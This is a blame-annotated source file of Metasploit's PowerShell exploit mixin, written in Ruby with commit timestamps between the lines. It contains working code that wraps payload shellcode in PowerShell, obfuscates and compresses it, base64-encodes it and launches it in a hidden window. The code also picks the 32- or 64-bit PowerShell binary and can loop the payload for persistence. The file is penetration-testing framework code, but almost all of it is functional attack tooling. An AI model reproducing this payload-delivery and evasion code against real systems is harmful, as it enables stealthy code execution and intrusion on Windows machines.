2013-07-04 16:44:44 +00:00
|
|
|
# -*- coding: binary -*-
|
|
|
|
require 'rex/exploitation/powershell'
|
|
|
|
|
|
|
|
module Msf
|
|
|
|
module Exploit::Powershell
|
|
|
|
|
2014-04-18 04:28:48 +00:00
|
|
|
PowershellScript = Rex::Exploitation::Powershell::Script
|
|
|
|
|
2013-07-20 23:55:01 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super
|
|
|
|
register_advanced_options(
|
|
|
|
[
|
2014-03-02 19:07:13 +00:00
|
|
|
OptBool.new('Powershell::persist', [true, 'Run the payload in a loop', false]),
|
|
|
|
OptBool.new('Powershell::prepend_sleep', [false, 'Prepend seconds of sleep']),
|
2014-04-23 04:03:16 +00:00
|
|
|
OptBool.new('Powershell::strip_comments', [true, 'Strip comments', true]),
|
|
|
|
OptBool.new('Powershell::strip_whitespace', [true, 'Strip whitespace', false]),
|
|
|
|
OptBool.new('Powershell::sub_vars', [true, 'Substitute variable names', false]),
|
|
|
|
OptBool.new('Powershell::sub_funcs', [true, 'Substitute function names', false]),
|
2014-03-02 19:07:13 +00:00
|
|
|
OptEnum.new('Powershell::method', [true, 'Payload delivery method', 'reflection', [
|
2014-02-13 03:06:18 +00:00
|
|
|
'net',
|
|
|
|
'reflection',
|
|
|
|
'old',
|
|
|
|
'msil'
|
|
|
|
]]),
|
2013-07-20 23:55:01 +00:00
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
#
|
2014-03-02 19:07:13 +00:00
|
|
|
# Reads script into a PowershellScript
|
2013-07-20 23:55:01 +00:00
|
|
|
#
|
2014-04-22 23:15:12 +00:00
|
|
|
# @param script_path [String] Path to the Script File
|
|
|
|
#
|
|
|
|
# @return [PowershellScript] PowerShellScript object
|
2013-09-13 18:06:37 +00:00
|
|
|
def read_script(script_path)
|
2014-03-02 19:07:13 +00:00
|
|
|
return PowershellScript.new(script_path)
|
2013-07-20 23:55:01 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# Insert substitutions into the powershell script
|
2013-09-13 18:06:37 +00:00
|
|
|
# If script is a path to a file then read the file
|
|
|
|
# otherwise treat it as the contents of a file
|
2013-07-20 23:55:01 +00:00
|
|
|
#
|
2014-04-22 23:15:12 +00:00
|
|
|
# @param script [String] Script file or path to script
|
|
|
|
# @param subs [Array] Substitutions to insert
|
|
|
|
#
|
|
|
|
# @return [String] Modified script file
|
2013-07-20 23:55:01 +00:00
|
|
|
def make_subs(script, subs)
|
|
|
|
if ::File.file?(script)
|
|
|
|
script = ::File.read(script)
|
|
|
|
end
|
|
|
|
|
|
|
|
subs.each do |set|
|
|
|
|
script.gsub!(set[0],set[1])
|
|
|
|
end
|
2013-09-13 19:23:18 +00:00
|
|
|
|
2014-03-02 19:07:13 +00:00
|
|
|
script
|
2013-07-20 23:55:01 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# Return an array of substitutions for use in make_subs
|
|
|
|
#
|
2014-04-22 23:15:12 +00:00
|
|
|
# @param subs [String] A ; seperated list of substitutions
|
|
|
|
#
|
|
|
|
# @return [Array] An array of substitutions
|
2013-07-20 23:55:01 +00:00
|
|
|
def process_subs(subs)
|
|
|
|
return [] if subs.nil? or subs.empty?
|
|
|
|
new_subs = []
|
|
|
|
subs.split(';').each do |set|
|
|
|
|
new_subs << set.split(',', 2)
|
|
|
|
end
|
2014-03-02 19:07:13 +00:00
|
|
|
|
|
|
|
new_subs
|
2013-07-20 23:55:01 +00:00
|
|
|
end
|
|
|
|
|
2013-09-20 12:47:51 +00:00
|
|
|
#
|
|
|
|
# Return an encoded powershell script
|
|
|
|
# Will invoke PSH modifiers as enabled
|
|
|
|
#
|
2014-04-22 23:15:12 +00:00
|
|
|
# @param script_in [String] Script contents
|
|
|
|
#
|
|
|
|
# @return [String] Encoded script
|
2014-04-23 01:37:07 +00:00
|
|
|
def encode_script(script_in)
|
2013-09-20 12:47:51 +00:00
|
|
|
# Build script object
|
2014-03-02 19:07:13 +00:00
|
|
|
psh = PowershellScript.new(script_in)
|
2013-09-20 12:47:51 +00:00
|
|
|
# Invoke enabled modifiers
|
2014-04-23 04:03:16 +00:00
|
|
|
datastore.select {|k,v| k =~ /^Powershell::(strip|sub)/ and v}.keys.map do |k|
|
2013-09-20 12:47:51 +00:00
|
|
|
mod_method = k.split('::').last.intern
|
|
|
|
psh.send(mod_method)
|
|
|
|
end
|
2014-03-02 19:07:13 +00:00
|
|
|
|
2014-04-23 00:07:54 +00:00
|
|
|
psh.encode_code
|
2013-09-20 12:47:51 +00:00
|
|
|
end
|
2013-09-27 11:45:48 +00:00
|
|
|
|
2013-07-20 23:55:01 +00:00
|
|
|
#
|
|
|
|
# Return a gzip compressed powershell script
|
|
|
|
# Will invoke PSH modifiers as enabled
|
|
|
|
#
|
2014-04-22 23:15:12 +00:00
|
|
|
# @param script_in [String] Script contents
|
|
|
|
# @param eof [String] Marker to indicate the end of file appended to script
|
|
|
|
#
|
|
|
|
# @return [String] Compressed script with decompression stub
|
2013-07-20 23:55:01 +00:00
|
|
|
def compress_script(script_in, eof = nil)
|
|
|
|
# Build script object
|
2014-03-02 19:07:13 +00:00
|
|
|
psh = PowershellScript.new(script_in)
|
2013-07-20 23:55:01 +00:00
|
|
|
# Invoke enabled modifiers
|
2014-04-23 04:03:16 +00:00
|
|
|
datastore.select {|k,v| k =~ /^Powershell::(strip|sub)/ and v}.keys.map do |k|
|
2013-07-20 23:55:01 +00:00
|
|
|
mod_method = k.split('::').last.intern
|
|
|
|
psh.send(mod_method)
|
|
|
|
end
|
2014-03-02 19:07:13 +00:00
|
|
|
|
|
|
|
psh.compress_code(eof)
|
2013-07-20 23:55:01 +00:00
|
|
|
end
|
|
|
|
|
2013-09-27 11:45:48 +00:00
|
|
|
#
|
2014-04-22 23:15:12 +00:00
|
|
|
# Generate a powershell command line, options are passed on to
|
|
|
|
# generate_psh_args
|
2013-09-27 11:45:48 +00:00
|
|
|
#
|
2014-04-22 23:15:12 +00:00
|
|
|
# @param opts [Hash] The options to generate the command line
|
|
|
|
# @option opts [String] :path Path to the powershell binary
|
|
|
|
# @option opts [Boolean] :no_full_stop Whether powershell binary
|
|
|
|
# should include .exe
|
|
|
|
#
|
|
|
|
# @return [String] Powershell command line with arguments
|
2013-09-27 11:45:48 +00:00
|
|
|
def generate_psh_command_line(opts)
|
2014-03-02 20:37:08 +00:00
|
|
|
if opts[:path] and (opts[:path][-1,1] != "\\")
|
2013-09-27 11:45:48 +00:00
|
|
|
opts[:path] << "\\"
|
|
|
|
end
|
|
|
|
|
2014-02-09 12:15:02 +00:00
|
|
|
if opts[:no_full_stop]
|
|
|
|
binary = "powershell"
|
|
|
|
else
|
|
|
|
binary = "powershell.exe"
|
|
|
|
end
|
|
|
|
|
2013-09-27 11:45:48 +00:00
|
|
|
args = generate_psh_args(opts)
|
2014-03-02 19:07:13 +00:00
|
|
|
|
|
|
|
"#{opts[:path]}#{binary} #{args}"
|
2013-09-27 11:45:48 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# Generate arguments for the powershell command
|
2014-03-02 20:37:08 +00:00
|
|
|
# The format will be have no space at the start and have a space
|
|
|
|
# afterwards e.g. "-Arg1 x -Arg -Arg x "
|
2013-09-27 11:45:48 +00:00
|
|
|
#
|
2014-04-22 23:15:12 +00:00
|
|
|
# @param opts [Hash] The options to generate the command line
|
|
|
|
# @option opts [Boolean] :shorten Whether to shorten the powershell
|
|
|
|
# arguments (v2.0 or greater)
|
|
|
|
# @option opts [String] :encodedcommand Powershell script as an
|
|
|
|
# encoded command (-EncodedCommand)
|
|
|
|
# @option opts [String] :executionpolicy The execution policy
|
|
|
|
# (-ExecutionPolicy)
|
|
|
|
# @option opts [String] :inputformat The input format (-InputFormat)
|
|
|
|
# @option opts [String] :file The path to a powershell file (-File)
|
|
|
|
# @option opts [Boolean] :noexit Whether to exit powershell after
|
|
|
|
# execution (-NoExit)
|
|
|
|
# @option opts [Boolean] :nologo Whether to display the logo (-NoLogo)
|
|
|
|
# @option opts [Boolean] :noninteractive Whether to load a non
|
|
|
|
# interactive powershell (-NonInteractive)
|
|
|
|
# @option opts [Boolean] :mta Whether to run as Multi-Threaded
|
|
|
|
# Apartment (-Mta)
|
|
|
|
# @option opts [String] :outputformat The output format
|
|
|
|
# (-OutputFormat)
|
|
|
|
# @option opts [Boolean] :sta Whether to run as Single-Threaded
|
|
|
|
# Apartment (-Sta)
|
|
|
|
# @option opts [Boolean] :noprofile Whether to use the current users
|
|
|
|
# powershell profile (-NoProfile)
|
|
|
|
# @option opts [String] :windowstyle The window style to use
|
|
|
|
# (-WindowStyle)
|
|
|
|
#
|
|
|
|
# @return [String] Powershell command arguments
|
2013-09-27 11:45:48 +00:00
|
|
|
def generate_psh_args(opts)
|
2014-03-02 20:37:08 +00:00
|
|
|
return "" unless opts
|
|
|
|
|
|
|
|
unless opts.has_key? :shorten
|
|
|
|
opts[:shorten] = (datastore['Powershell::method'] != 'old')
|
|
|
|
end
|
|
|
|
|
2014-03-02 19:07:13 +00:00
|
|
|
arg_string = " "
|
2013-09-27 11:45:48 +00:00
|
|
|
opts.each_pair do |arg, value|
|
|
|
|
case arg
|
|
|
|
when :encodedcommand
|
|
|
|
arg_string << "-EncodedCommand #{value} " if value
|
|
|
|
when :executionpolicy
|
|
|
|
arg_string << "-ExecutionPolicy #{value} " if value
|
|
|
|
when :inputformat
|
|
|
|
arg_string << "-InputFormat #{value} " if value
|
|
|
|
when :file
|
|
|
|
arg_string << "-File #{value} " if value
|
|
|
|
when :noexit
|
|
|
|
arg_string << "-NoExit " if value
|
|
|
|
when :nologo
|
|
|
|
arg_string << "-NoLogo " if value
|
|
|
|
when :noninteractive
|
|
|
|
arg_string << "-NonInteractive " if value
|
|
|
|
when :mta
|
|
|
|
arg_string << "-Mta " if value
|
|
|
|
when :outputformat
|
|
|
|
arg_string << "-OutputFormat #{value} " if value
|
|
|
|
when :sta
|
|
|
|
arg_string << "-Sta " if value
|
|
|
|
when :noprofile
|
|
|
|
arg_string << "-NoProfile " if value
|
|
|
|
when :windowstyle
|
|
|
|
arg_string << "-WindowStyle #{value} " if value
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
#Command must be last (unless from stdin - etc)
|
|
|
|
if opts[:command]
|
|
|
|
arg_string << "-Command #{opts[:command]}"
|
|
|
|
end
|
|
|
|
|
2014-03-02 20:37:08 +00:00
|
|
|
# Shorten arg if PSH 2.0+
|
2014-04-18 04:28:48 +00:00
|
|
|
if opts[:shorten]
|
2014-04-19 17:54:42 +00:00
|
|
|
# Invoke-Command and Out-File require these options to have
|
|
|
|
# an additional space before to prevent Powershell code being
|
|
|
|
# mangled.
|
2014-02-09 17:45:30 +00:00
|
|
|
arg_string.gsub!(' -Command ', ' -c ')
|
2014-04-22 13:44:01 +00:00
|
|
|
arg_string.gsub!('-EncodedCommand ', '-e ')
|
|
|
|
arg_string.gsub!('-ExecutionPolicy ', '-ep ')
|
2014-02-09 17:45:30 +00:00
|
|
|
arg_string.gsub!(' -File ', ' -f ')
|
2014-04-22 13:44:01 +00:00
|
|
|
arg_string.gsub!('-InputFormat ', '-i ')
|
|
|
|
arg_string.gsub!('-NoExit ', '-noe ')
|
|
|
|
arg_string.gsub!('-NoLogo ', '-nol ')
|
|
|
|
arg_string.gsub!('-NoProfile ', '-nop ')
|
|
|
|
arg_string.gsub!('-NonInteractive ', '-noni ')
|
|
|
|
arg_string.gsub!('-OutputFormat ', '-o ')
|
|
|
|
arg_string.gsub!('-Sta ', '-s ')
|
|
|
|
arg_string.gsub!('-WindowStyle ', '-w ')
|
2013-09-27 11:45:48 +00:00
|
|
|
end
|
|
|
|
|
2014-03-02 19:07:13 +00:00
|
|
|
#Strip off first space character
|
2014-03-02 20:37:08 +00:00
|
|
|
arg_string = arg_string[1..-1]
|
|
|
|
#Remove final space character
|
|
|
|
arg_string = arg_string[0..-2] if (arg_string[-1] == " ")
|
|
|
|
|
|
|
|
arg_string
|
2013-09-27 11:45:48 +00:00
|
|
|
end
|
2014-03-02 19:07:13 +00:00
|
|
|
|
2013-07-20 23:55:01 +00:00
|
|
|
#
|
2014-04-22 23:15:12 +00:00
|
|
|
# Wraps the powershell code to launch a hidden window and
|
|
|
|
# detect the execution environment and spawn the appropriate
|
|
|
|
# powershell executable for the payload architecture.
|
2013-07-20 23:55:01 +00:00
|
|
|
#
|
2014-04-22 23:15:12 +00:00
|
|
|
# @param ps_code [String] Powershell code
|
|
|
|
# @param payload_arch [String] The payload architecture 'x86'/'x86_64'
|
|
|
|
# @param encoded [Boolean] Indicates whether ps_code is encoded or not
|
|
|
|
#
|
|
|
|
# @return [String] Wrapped powershell code
|
2014-02-08 21:34:51 +00:00
|
|
|
def run_hidden_psh(ps_code, payload_arch, encoded)
|
2013-09-27 11:45:48 +00:00
|
|
|
arg_opts = {
|
|
|
|
:noprofile => true,
|
|
|
|
:windowstyle => 'hidden',
|
|
|
|
}
|
|
|
|
|
2014-02-08 21:34:51 +00:00
|
|
|
if encoded
|
|
|
|
arg_opts[:encodedcommand] = ps_code
|
|
|
|
else
|
|
|
|
arg_opts[:command] = ps_code.gsub("'","''")
|
|
|
|
end
|
|
|
|
|
2013-09-27 11:45:48 +00:00
|
|
|
# Old technique fails if powershell exits..
|
2014-04-23 01:08:57 +00:00
|
|
|
arg_opts[:noexit] = true if datastore['Powershell::method'] == 'old'
|
2013-09-27 11:45:48 +00:00
|
|
|
|
|
|
|
ps_args = generate_psh_args(arg_opts)
|
2013-07-20 23:55:01 +00:00
|
|
|
|
2013-10-21 23:42:59 +00:00
|
|
|
process_start_info = <<EOS
|
2014-02-08 22:10:33 +00:00
|
|
|
$s=New-Object System.Diagnostics.ProcessStartInfo
|
|
|
|
$s.FileName=$b
|
|
|
|
$s.Arguments='#{ps_args}'
|
|
|
|
$s.UseShellExecute=$false
|
|
|
|
$p=[System.Diagnostics.Process]::Start($s)
|
2013-07-04 16:44:44 +00:00
|
|
|
EOS
|
2013-10-21 23:42:59 +00:00
|
|
|
process_start_info.gsub!("\n",';')
|
2013-07-04 16:44:44 +00:00
|
|
|
|
2013-10-21 23:42:59 +00:00
|
|
|
archictecure_detection = <<EOS
|
2014-02-08 22:10:33 +00:00
|
|
|
if([IntPtr]::Size -eq 4){
|
2014-04-18 01:26:04 +00:00
|
|
|
#{payload_arch == 'x86' ? "$b='powershell.exe'" : "$b=$env:windir+'\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe'"}
|
2014-02-08 22:10:33 +00:00
|
|
|
}else{
|
2014-04-18 04:28:48 +00:00
|
|
|
#{payload_arch == 'x86' ? "$b=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'" : "$b='powershell.exe'"}
|
2014-04-18 01:26:04 +00:00
|
|
|
};
|
2013-10-21 23:42:59 +00:00
|
|
|
EOS
|
2014-04-18 04:28:48 +00:00
|
|
|
|
2013-10-21 23:42:59 +00:00
|
|
|
archictecure_detection.gsub!("\n","")
|
|
|
|
|
2014-03-02 19:07:13 +00:00
|
|
|
archictecure_detection + process_start_info
|
2013-07-20 23:55:01 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
#
|
2014-04-22 23:15:12 +00:00
|
|
|
# Creates a powershell command line string which will execute the
|
|
|
|
# payload in a hidden window in the appropriate execution environment
|
|
|
|
# for the payload architecture. Opts are passed through to
|
|
|
|
# run_hidden_psh, generate_psh_command_line and generate_psh_args
|
|
|
|
#
|
|
|
|
# @param pay [String] The payload shellcode
|
|
|
|
# @param payload_arch [String] The payload architecture 'x86'/'x86_64'
|
|
|
|
# @param opts [Hash] The options to generate the command
|
|
|
|
# @option opts [Boolean] :persist Loop the payload to cause
|
|
|
|
# re-execution if the shellcode finishes
|
|
|
|
# @option opts [Integer] :prepend_sleep Sleep for the specified time
|
|
|
|
# before executing the payload
|
|
|
|
# @option opts [String] :method The powershell injection technique to
|
|
|
|
# use: 'net'/'reflection'/'old'
|
|
|
|
# @option opts [Boolean] :encode_inner_payload Encodes the powershell
|
|
|
|
# script within the hidden/architecture detection wrapper
|
|
|
|
# @option opts [Boolean] :encode_final_payload Encodes the final
|
|
|
|
# powershell script
|
|
|
|
# @option opts [Boolean] :remove_comspec Removes the %COMSPEC%
|
|
|
|
# environment variable at the start of the command line
|
|
|
|
# @option opts [Boolean] :use_single_quotes Wraps the -Command
|
|
|
|
# argument in single quotes unless :encode_final_payload
|
2013-07-20 23:55:01 +00:00
|
|
|
#
|
2014-04-22 23:15:12 +00:00
|
|
|
# @return [String] Powershell command line with payload
|
2013-12-16 15:13:13 +00:00
|
|
|
def cmd_psh_payload(pay, payload_arch, opts={})
|
2014-03-02 19:07:13 +00:00
|
|
|
opts[:persist] ||= datastore['Powershell::persist']
|
|
|
|
opts[:prepend_sleep] ||= datastore['Powershell::prepend_sleep']
|
2014-03-02 20:56:55 +00:00
|
|
|
opts[:method] ||= datastore['Powershell::method']
|
2014-02-09 12:15:02 +00:00
|
|
|
|
|
|
|
if opts[:encode_inner_payload] && opts[:encode_final_payload]
|
2014-02-09 12:52:56 +00:00
|
|
|
raise RuntimeError, ":encode_inner_payload and :encode_final_payload are incompatible options"
|
|
|
|
end
|
|
|
|
|
|
|
|
if opts[:no_equals] && !opts[:encode_final_payload]
|
|
|
|
raise RuntimeError, ":no_equals requires :encode_final_payload option to be used"
|
2014-02-09 12:15:02 +00:00
|
|
|
end
|
|
|
|
|
2014-03-02 20:56:55 +00:00
|
|
|
psh_payload = case opts[:method]
|
2014-02-13 03:06:18 +00:00
|
|
|
when 'net'
|
|
|
|
Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
|
|
|
|
when 'reflection'
|
|
|
|
Msf::Util::EXE.to_win32pe_psh_reflection(framework, pay)
|
|
|
|
when 'old'
|
|
|
|
Msf::Util::EXE.to_win32pe_psh(framework, pay)
|
|
|
|
when 'msil'
|
2014-03-02 20:56:55 +00:00
|
|
|
raise RuntimeError, "MSIL Powershell method no longer exists"
|
|
|
|
else
|
|
|
|
raise RuntimeError, "No Powershell method specified"
|
2014-02-13 03:06:18 +00:00
|
|
|
end
|
|
|
|
|
2013-07-20 23:55:01 +00:00
|
|
|
# Run our payload in a while loop
|
2014-03-02 19:07:13 +00:00
|
|
|
if opts[:persist]
|
2013-07-20 23:55:01 +00:00
|
|
|
fun_name = Rex::Text.rand_text_alpha(rand(2)+2)
|
|
|
|
sleep_time = rand(5)+5
|
2013-09-13 19:23:18 +00:00
|
|
|
vprint_status("Sleep time set to #{sleep_time} seconds")
|
2013-07-20 23:55:01 +00:00
|
|
|
psh_payload = "function #{fun_name}{#{psh_payload}};"
|
|
|
|
psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
|
|
|
|
end
|
2013-09-20 12:47:51 +00:00
|
|
|
|
2014-03-02 19:07:13 +00:00
|
|
|
if opts[:prepend_sleep]
|
|
|
|
if opts[:prepend_sleep].to_i > 0
|
|
|
|
psh_payload = "Start-Sleep -s #{opts[:prepend_sleep]};" << psh_payload
|
2014-02-13 03:06:18 +00:00
|
|
|
else
|
|
|
|
vprint_error('Sleep time must be greater than 0 seconds')
|
|
|
|
end
|
|
|
|
end
|
2013-09-20 12:47:51 +00:00
|
|
|
|
2014-02-08 23:51:13 +00:00
|
|
|
compressed_payload = compress_script(psh_payload)
|
|
|
|
encoded_payload = encode_script(psh_payload)
|
2013-09-20 12:47:51 +00:00
|
|
|
|
2014-02-09 00:55:26 +00:00
|
|
|
if encoded_payload.length <= compressed_payload.length
|
2014-02-08 23:51:13 +00:00
|
|
|
smallest_payload = encoded_payload
|
|
|
|
encoded = true
|
2013-09-20 12:47:51 +00:00
|
|
|
else
|
2014-02-09 12:15:02 +00:00
|
|
|
if opts[:encode_inner_payload]
|
2014-02-09 00:55:26 +00:00
|
|
|
encoded = true
|
|
|
|
compressed_encoded_payload = encode_script(compressed_payload)
|
|
|
|
|
|
|
|
if encoded_payload.length <= compressed_encoded_payload.length
|
|
|
|
smallest_payload = encoded_payload
|
|
|
|
else
|
|
|
|
smallest_payload = compressed_encoded_payload
|
|
|
|
end
|
|
|
|
else
|
|
|
|
smallest_payload = compressed_payload
|
|
|
|
encoded = false
|
|
|
|
end
|
2013-09-20 12:47:51 +00:00
|
|
|
end
|
|
|
|
|
2013-10-21 23:42:59 +00:00
|
|
|
# Wrap in hidden runtime / architecture detection
|
2014-02-08 23:51:13 +00:00
|
|
|
final_payload = run_hidden_psh(smallest_payload, payload_arch, encoded)
|
2013-10-21 23:42:59 +00:00
|
|
|
|
2014-02-08 23:51:13 +00:00
|
|
|
command_args = {
|
|
|
|
:noprofile => true,
|
|
|
|
:windowstyle => 'hidden'
|
2014-02-09 12:34:25 +00:00
|
|
|
}.merge(opts)
|
2014-02-08 23:51:13 +00:00
|
|
|
|
|
|
|
if opts[:encode_final_payload]
|
|
|
|
command_args[:encodedcommand] = encode_script(final_payload)
|
2014-02-09 12:34:25 +00:00
|
|
|
|
|
|
|
# If '=' is a bad character pad the payload until Base64 encoded
|
|
|
|
# payload contains none.
|
|
|
|
if opts[:no_equals]
|
|
|
|
while command_args[:encodedcommand].include? '='
|
|
|
|
final_payload << " "
|
|
|
|
command_args[:encodedcommand] = encode_script(final_payload)
|
|
|
|
end
|
|
|
|
end
|
2014-02-08 23:51:13 +00:00
|
|
|
else
|
|
|
|
if opts[:use_single_quotes]
|
|
|
|
# Escape Single Quotes
|
|
|
|
final_payload.gsub!("'","''")
|
2014-02-09 12:34:25 +00:00
|
|
|
# Wrap command in quotes
|
2014-02-08 23:51:13 +00:00
|
|
|
final_payload = "'#{final_payload}'"
|
|
|
|
end
|
|
|
|
|
|
|
|
command_args[:command] = final_payload
|
2013-12-16 15:13:13 +00:00
|
|
|
end
|
|
|
|
|
2014-02-08 23:51:13 +00:00
|
|
|
psh_command = generate_psh_command_line(command_args)
|
2013-11-23 00:45:04 +00:00
|
|
|
|
2013-12-16 15:13:13 +00:00
|
|
|
if opts[:remove_comspec]
|
|
|
|
command = psh_command
|
|
|
|
else
|
2014-02-13 03:06:18 +00:00
|
|
|
command = "%COMSPEC% /b /c start /min #{psh_command}"
|
2013-12-16 15:13:13 +00:00
|
|
|
end
|
|
|
|
|
2014-02-08 22:10:33 +00:00
|
|
|
vprint_status("Powershell command length: #{command.length}")
|
2014-02-09 12:15:02 +00:00
|
|
|
if command.length > 8191
|
|
|
|
raise RuntimeError, "Powershell command length is greater than the command line maximum (8192 characters)"
|
|
|
|
end
|
|
|
|
|
2014-03-02 19:07:13 +00:00
|
|
|
command
|
2013-07-20 23:55:01 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
#
|
|
|
|
# Useful method cache
|
|
|
|
#
|
|
|
|
module PshMethods
|
2014-04-18 01:26:04 +00:00
|
|
|
include Rex::Exploitation::Powershell::PshMethods
|
2013-07-20 23:55:01 +00:00
|
|
|
end
|
2014-04-18 04:28:48 +00:00
|
|
|
|
2013-07-04 16:44:44 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|